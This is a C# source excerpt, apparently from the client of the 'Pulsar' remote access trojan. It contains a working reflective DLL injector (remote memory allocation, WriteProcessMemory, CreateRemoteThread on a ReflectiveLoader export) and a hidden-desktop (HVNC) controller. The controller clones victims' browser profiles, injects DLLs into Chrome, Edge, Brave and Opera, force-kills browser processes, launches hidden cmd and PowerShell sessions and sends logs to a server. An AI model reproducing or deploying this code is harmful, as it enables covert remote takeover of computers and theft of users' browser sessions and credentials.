{
|
||||
Debug.WriteLine("[-] Failed to allocate memory in remote process");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr bytesWritten;
|
||||
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten))
|
||||
{
|
||||
Debug.WriteLine("[-] Failed to write DLL to remote process");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset);
|
||||
|
||||
IntPtr threadId;
|
||||
IntPtr hThread = CreateRemoteThread(
|
||||
hProcess,
|
||||
IntPtr.Zero,
|
||||
1024 * 1024,
|
||||
lpReflectiveLoader,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
out threadId);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}");
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Parses PE (Portable Executable) file format
|
||||
/// </summary>
|
||||
internal static class PEParser
|
||||
{
|
||||
#region PE Structures
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct IMAGE_DOS_HEADER
|
||||
{
|
||||
public ushort e_magic;
|
||||
public ushort e_cblp;
|
||||
public ushort e_cp;
|
||||
public ushort e_crlc;
|
||||
public ushort e_cparhdr;
|
||||
public ushort e_minalloc;
|
||||
public ushort e_maxalloc;
|
||||
public ushort e_ss;
|
||||
public ushort e_sp;
|
||||
public ushort e_csum;
|
||||
public ushort e_ip;
|
||||
public ushort e_cs;
|
||||
public ushort e_lfarlc;
|
||||
public ushort e_ovno;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
|
||||
public ushort[] e_res;
|
||||
|
||||
public ushort e_oemid;
|
||||
public ushort e_oeminfo;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
|
||||
public ushort[] e_res2;
|
||||
|
||||
public int e_lfanew;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct IMAGE_FILE_HEADER
|
||||
{
|
||||
public ushort Machine;
|
||||
public ushort NumberOfSections;
|
||||
public uint TimeDateStamp;
|
||||
public uint PointerToSymbolTable;
|
||||
public uint NumberOfSymbols;
|
||||
public ushort SizeOfOptionalHeader;
|
||||
public ushort Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct IMAGE_DATA_DIRECTORY
|
||||
{
|
||||
public uint VirtualAddress;
|
||||
public uint Size;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct IMAGE_OPTIONAL_HEADER32
|
||||
{
|
||||
public ushort Magic;
|
||||
public byte MajorLinkerVersion;
|
||||
public byte MinorLinkerVersion;
|
||||
public uint SizeOfCode;
|
||||
public uint SizeOfInitializedData;
|
||||
public uint SizeOfUninitializedData;
|
||||
public uint AddressOfEntryPoint;
|
||||
public uint BaseOfCode;
|
||||
public uint BaseOfData;
|
||||
public uint ImageBase;
|
||||
public uint SectionAlignment;
|
||||
public uint FileAlignment;
|
||||
public ushort MajorOperatingSystemVersion;
|
||||
public ushort MinorOperatingSystemVersion;
|
||||
public ushort MajorImageVersion;
|
||||
public ushort MinorImageVersion;
|
||||
public ushort MajorSubsystemVersion;
|
||||
public ushort MinorSubsystemVersion;
|
||||
public uint Win32VersionValue;
|
||||
public uint SizeOfImage;
|
||||
public uint SizeOfHeaders;
|
||||
public uint CheckSum;
|
||||
public ushort Subsystem;
|
||||
public ushort DllCharacteristics;
|
||||
public uint SizeOfStackReserve;
|
||||
public uint SizeOfStackCommit;
|
||||
public uint SizeOfHeapReserve;
|
||||
public uint SizeOfHeapCommit;
|
||||
public uint LoaderFlags;
|
||||
public uint NumberOfRvaAndSizes;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
|
||||
public IMAGE_DATA_DIRECTORY[] DataDirectory;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct IMAGE_OPTIONAL_HEADER64
|
||||
{
|
||||
public ushort Magic;
|
||||
public byte MajorLinkerVersion;
|
||||
public byte MinorLinkerVersion;
|
||||
public uint SizeOfCode;
|
||||
public uint SizeOfInitializedData;
|
||||
public uint SizeOfUninitializedData;
|
||||
public uint AddressOfEntryPoint;
|
||||
public uint BaseOfCode;
|
||||
public ulong ImageBase;
|
||||
public uint SectionAlignment;
|
||||
public uint FileAlignment;
|
||||
public ushort MajorOperatingSystemVersion;
|
||||
public ushort MinorOperatingSystemVersion;
|
||||
public ushort MajorImageVersion;
|
||||
public ushort MinorImageVersion;
|
||||
public ushort MajorSubsystemVersion;
|
||||
public ushort MinorSubsystemVersion;
|
||||
public uint Win32VersionValue;
|
||||
public uint SizeOfImage;
|
||||
public uint SizeOfHeaders;
|
||||
public uint CheckSum;
|
||||
public ushort Subsystem;
|
||||
public ushort DllCharacteristics;
|
||||
public ulong SizeOfStackReserve;
|
||||
public ulong SizeOfStackCommit;
|
||||
public ulong SizeOfHeapReserve;
|
||||
public ulong SizeOfHeapCommit;
|
||||
public uint LoaderFlags;
|
||||
public uint NumberOfRvaAndSizes;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
|
||||
public IMAGE_DATA_DIRECTORY[] DataDirectory;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct IMAGE_SECTION_HEADER
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public byte[] Name;
|
||||
|
||||
public uint VirtualSize;
|
||||
public uint VirtualAddress;
|
||||
public uint SizeOfRawData;
|
||||
public uint PointerToRawData;
|
||||
public uint PointerToRelocations;
|
||||
public uint PointerToLinenumbers;
|
||||
public ushort NumberOfRelocations;
|
||||
public ushort NumberOfLinenumbers;
|
||||
public uint Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct IMAGE_EXPORT_DIRECTORY
|
||||
{
|
||||
public uint Characteristics;
|
||||
public uint TimeDateStamp;
|
||||
public ushort MajorVersion;
|
||||
public ushort MinorVersion;
|
||||
public uint Name;
|
||||
public uint Base;
|
||||
public uint NumberOfFunctions;
|
||||
public uint NumberOfNames;
|
||||
public uint AddressOfFunctions;
|
||||
public uint AddressOfNames;
|
||||
public uint AddressOfNameOrdinals;
|
||||
}
|
||||
|
||||
private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
|
||||
private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b;
|
||||
private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b;
|
||||
|
||||
#endregion PE Structures
|
||||
|
||||
public static uint GetReflectiveLoaderOffset(byte[] buffer)
|
||||
{
|
||||
try
|
||||
{
|
||||
int baseAddress = 0;
|
||||
|
||||
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
|
||||
|
||||
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
|
||||
|
||||
uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset);
|
||||
if (signature != 0x00004550) // "PE\0\0"
|
||||
return 0;
|
||||
|
||||
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
|
||||
|
||||
int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER));
|
||||
ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset);
|
||||
|
||||
uint exportDirRva;
|
||||
|
||||
if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
|
||||
{
|
||||
if (IntPtr.Size != 4)
|
||||
return 0;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER32>(buffer, optionalHeaderOffset);
|
||||
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
}
|
||||
else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
|
||||
{
|
||||
if (IntPtr.Size != 8)
|
||||
return 0;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER64>(buffer, optionalHeaderOffset);
|
||||
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (exportDirRva == 0)
|
||||
return 0;
|
||||
|
||||
uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress);
|
||||
if (exportDirOffset == 0)
|
||||
return 0;
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure<IMAGE_EXPORT_DIRECTORY>(buffer, (int)exportDirOffset);
|
||||
|
||||
uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress);
|
||||
uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress);
|
||||
uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress);
|
||||
|
||||
for (uint i = 0; i < exportDir.NumberOfNames; i++)
|
||||
{
|
||||
uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4));
|
||||
uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress);
|
||||
|
||||
string functionName = ReadNullTerminatedString(buffer, (int)nameOffset);
|
||||
|
||||
if (functionName.Contains("ReflectiveLoader"))
|
||||
{
|
||||
ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2));
|
||||
uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4));
|
||||
return Rva2Offset(functionRva, buffer, baseAddress);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress)
|
||||
{
|
||||
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
|
||||
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
|
||||
|
||||
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
|
||||
int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader;
|
||||
|
||||
IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset);
|
||||
|
||||
if (dwRva < firstSection.PointerToRawData)
|
||||
return dwRva;
|
||||
|
||||
for (int i = 0; i < fileHeader.NumberOfSections; i++)
|
||||
{
|
||||
IMAGE_SECTION_HEADER section = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
|
||||
|
||||
if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData)
|
||||
{
|
||||
return dwRva - section.VirtualAddress + section.PointerToRawData;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
private static T ByteArrayToStructure<T>(byte[] bytes, int offset) where T : struct
|
||||
{
|
||||
int size = Marshal.SizeOf(typeof(T));
|
||||
IntPtr ptr = Marshal.AllocHGlobal(size);
|
||||
try
|
||||
{
|
||||
Marshal.Copy(bytes, offset, ptr, size);
|
||||
return (T)Marshal.PtrToStructure(ptr, typeof(T));
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(ptr);
|
||||
}
|
||||
}
|
||||
|
||||
private static string ReadNullTerminatedString(byte[] buffer, int offset)
|
||||
{
|
||||
int length = 0;
|
||||
while (offset + length < buffer.Length && buffer[offset + length] != 0)
|
||||
{
|
||||
length++;
|
||||
}
|
||||
return Encoding.ASCII.GetString(buffer, offset, length);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,870 @@
|
||||
using Microsoft.Win32;
|
||||
using Pulsar.Client.Helper.HVNC.Chromium;
|
||||
using Pulsar.Client.LoggingAPI;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Pulsar.Client.Helper.HVNC
|
||||
{
|
||||
public class ProcessController
|
||||
{
|
||||
public ProcessController(string DesktopName)
|
||||
{
|
||||
this.DesktopName = DesktopName;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
private const uint WAIT_OBJECT_0 = 0x00000000;
|
||||
private const uint WAIT_TIMEOUT = 0x00000102;
|
||||
private const uint INFINITE = 0xFFFFFFFF;
|
||||
private const int STARTF_USEPOSITION = 0x00000004;
|
||||
|
||||
private readonly struct CloneResult
|
||||
{
|
||||
public CloneResult(bool success, bool cancelled, string destination)
|
||||
{
|
||||
Success = success;
|
||||
Cancelled = cancelled;
|
||||
Destination = destination ?? string.Empty;
|
||||
}
|
||||
|
||||
public bool Success { get; }
|
||||
|
||||
public bool Cancelled { get; }
|
||||
|
||||
public string Destination { get; }
|
||||
}
|
||||
|
||||
private static bool DeleteFolder(string folderPath)
|
||||
{
|
||||
bool result;
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(folderPath))
|
||||
{
|
||||
Directory.Delete(folderPath, true);
|
||||
result = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Folder does not exist.");
|
||||
result = false;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Error deleting folder: " + ex.Message);
|
||||
result = false;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private void CleanupCancelledClone(string destinationDir)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(destinationDir))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(destinationDir))
|
||||
{
|
||||
Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'");
|
||||
DeleteFolder(destinationDir);
|
||||
}
|
||||
}
|
||||
catch (Exception cleanupEx)
|
||||
{
|
||||
Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
public void StartCmd()
|
||||
{
|
||||
string path = "conhost cmd.exe";
|
||||
this.CreateProc(path);
|
||||
}
|
||||
|
||||
public void StartPowershell()
|
||||
{
|
||||
string path = "conhost powershell.exe";
|
||||
this.CreateProc(path);
|
||||
}
|
||||
|
||||
public void StartGeneric(string path)
|
||||
{
|
||||
string command = "conhost " + path;
|
||||
this.CreateProc(command);
|
||||
}
|
||||
|
||||
public async Task StartFirefoxAsync()
|
||||
{
|
||||
BrowserCloneProgressSession progressSession = null;
|
||||
Task completionTask = Task.CompletedTask;
|
||||
bool cloneSucceeded = false;
|
||||
bool cloneCancelled = false;
|
||||
|
||||
try
|
||||
{
|
||||
string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox");
|
||||
|
||||
if (!Directory.Exists(basePath))
|
||||
{
|
||||
Debug.WriteLine("Firefox base directory not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
string sourceDir = Path.Combine(basePath, "Profiles");
|
||||
if (!Directory.Exists(sourceDir))
|
||||
{
|
||||
Debug.WriteLine("Firefox profiles directory not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
string destination = Path.Combine(basePath, "fudasf");
|
||||
if (Directory.Exists(destination))
|
||||
{
|
||||
DeleteFolder(destination);
|
||||
}
|
||||
|
||||
progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false);
|
||||
progressSession?.ReportPreparing();
|
||||
|
||||
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
|
||||
|
||||
try
|
||||
{
|
||||
cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false);
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
cloneCancelled = true;
|
||||
CleanupCancelledClone(destination);
|
||||
}
|
||||
|
||||
if (cloneCancelled)
|
||||
{
|
||||
Debug.WriteLine("Firefox profile cloning cancelled by user – skipping launch.");
|
||||
}
|
||||
else if (cloneSucceeded)
|
||||
{
|
||||
Debug.WriteLine("Firefox profile cloned successfully.");
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked.");
|
||||
}
|
||||
|
||||
bool completedSuccessfully = cloneSucceeded && !cloneCancelled;
|
||||
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
|
||||
|
||||
if (cloneCancelled)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\"";
|
||||
CreateProc(startCommand);
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
||||
cloneCancelled = true;
|
||||
Debug.WriteLine("Firefox profile cloning cancelled by user.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
||||
Debug.WriteLine("Error starting Firefox: " + ex.Message);
|
||||
}
|
||||
finally
|
||||
{
|
||||
await completionTask.ConfigureAwait(false);
|
||||
progressSession?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public async Task StartBraveAsync(byte[] dllbytes)
|
||||
{
|
||||
try
|
||||
{
|
||||
var braveConfig = BrowserConfiguration.GetConfig("Brave");
|
||||
if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig))
|
||||
{
|
||||
Debug.WriteLine("Brave executable not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}");
|
||||
|
||||
var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false);
|
||||
if (cloneResult.Cancelled)
|
||||
{
|
||||
Debug.WriteLine("Brave profile cloning cancelled by user – skipping injection.");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false);
|
||||
Debug.WriteLine("Brave started successfully with reflective DLL injection.");
|
||||
}
|
||||
catch (Exception injectionEx)
|
||||
{
|
||||
Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}");
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
Debug.WriteLine("Brave profile cloning cancelled by user.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Error starting Brave: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public async Task StartOperaAsync(byte[] dllbytes)
|
||||
{
|
||||
try
|
||||
{
|
||||
var operaConfig = BrowserConfiguration.GetConfig("Opera");
|
||||
if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig))
|
||||
{
|
||||
Debug.WriteLine("Opera executable not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}");
|
||||
|
||||
var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false);
|
||||
if (cloneResult.Cancelled)
|
||||
{
|
||||
Debug.WriteLine("Opera profile cloning cancelled by user – skipping injection.");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false);
|
||||
if (processId > 0)
|
||||
{
|
||||
Debug.WriteLine("Opera started successfully with reflective DLL injection.");
|
||||
|
||||
await Task.Delay(2000).ConfigureAwait(false);
|
||||
_ = Task.Run(async () =>
|
||||
{
|
||||
try
|
||||
{
|
||||
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
||||
}
|
||||
catch (Exception patchEx)
|
||||
{
|
||||
Debug.WriteLine($"Opera patcher error: {patchEx.Message}");
|
||||
}
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Failed to start Opera process.");
|
||||
}
|
||||
}
|
||||
catch (Exception injectionEx)
|
||||
{
|
||||
Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}");
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
Debug.WriteLine("Opera profile cloning cancelled by user.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Error starting Opera: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public async Task StartOperaGXAsync(byte[] dllbytes)
|
||||
{
|
||||
try
|
||||
{
|
||||
var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX");
|
||||
if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig))
|
||||
{
|
||||
Debug.WriteLine("OperaGX executable not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}");
|
||||
|
||||
var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false);
|
||||
if (cloneResult.Cancelled)
|
||||
{
|
||||
Debug.WriteLine("OperaGX profile cloning cancelled by user – skipping injection.");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false);
|
||||
if (processId > 0)
|
||||
{
|
||||
Debug.WriteLine("OperaGX started successfully with reflective DLL injection.");
|
||||
|
||||
await Task.Delay(2000).ConfigureAwait(false);
|
||||
_ = Task.Run(async () =>
|
||||
{
|
||||
try
|
||||
{
|
||||
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
||||
}
|
||||
catch (Exception patchEx)
|
||||
{
|
||||
Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}");
|
||||
}
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Failed to start OperaGX process.");
|
||||
}
|
||||
}
|
||||
catch (Exception injectionEx)
|
||||
{
|
||||
Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}");
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
Debug.WriteLine("OperaGX profile cloning cancelled by user.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Error starting OperaGX: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public async Task StartEdgeAsync(byte[] dllbytes)
|
||||
{
|
||||
try
|
||||
{
|
||||
var edgeConfig = BrowserConfiguration.GetConfig("Edge");
|
||||
if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig))
|
||||
{
|
||||
Debug.WriteLine("Edge executable not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}");
|
||||
|
||||
var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false);
|
||||
if (cloneResult.Cancelled)
|
||||
{
|
||||
Debug.WriteLine("Edge profile cloning cancelled by user – skipping injection.");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false);
|
||||
Debug.WriteLine("Edge started successfully with reflective DLL injection.");
|
||||
}
|
||||
catch (Exception injectionEx)
|
||||
{
|
||||
Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}");
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
Debug.WriteLine("Edge profile cloning cancelled by user.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Error starting Edge: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public async Task StartChromeAsync(byte[] dllbytes)
|
||||
{
|
||||
try
|
||||
{
|
||||
var chromeConfig = BrowserConfiguration.GetChromeConfig();
|
||||
if (chromeConfig == null)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("Chrome executable not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}");
|
||||
|
||||
var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false);
|
||||
if (cloneResult.Cancelled)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user – skipping injection.");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false);
|
||||
UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection.");
|
||||
}
|
||||
catch (Exception injectionEx)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}");
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern uint ResumeThread(IntPtr hThread);
|
||||
|
||||
/// <summary>
|
||||
/// Generic method to start any browser by type with reflective DLL injection.
|
||||
/// </summary>
|
||||
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, Opera, OperaGX)</param>
|
||||
/// <param name="dllbytes">DLL bytes to inject</param>
|
||||
public async Task StartBrowserAsync(string browserType, byte[] dllbytes)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
await StartChromeAsync(dllbytes).ConfigureAwait(false);
|
||||
return;
|
||||
}
|
||||
|
||||
var config = BrowserConfiguration.GetConfig(browserType);
|
||||
if (config == null || !BrowserConfiguration.ValidateConfig(config))
|
||||
{
|
||||
Debug.WriteLine($"{browserType} executable not found.");
|
||||
return;
|
||||
}
|
||||
|
||||
Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}");
|
||||
|
||||
string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower();
|
||||
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
|
||||
|
||||
STARTUPINFO startupInfo = default(STARTUPINFO);
|
||||
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
|
||||
startupInfo.lpDesktop = this.DesktopName;
|
||||
startupInfo.dwX = 0;
|
||||
startupInfo.dwY = 0;
|
||||
startupInfo.dwFlags = STARTF_USEPOSITION;
|
||||
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
|
||||
|
||||
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
|
||||
{
|
||||
Debug.WriteLine($"Waiting for {browserType} processes to terminate...");
|
||||
WaitForProcessCompletion(processInfo, 5000);
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Failed to create taskkill process, using fallback delay.");
|
||||
await Task.Delay(500).ConfigureAwait(false);
|
||||
}
|
||||
|
||||
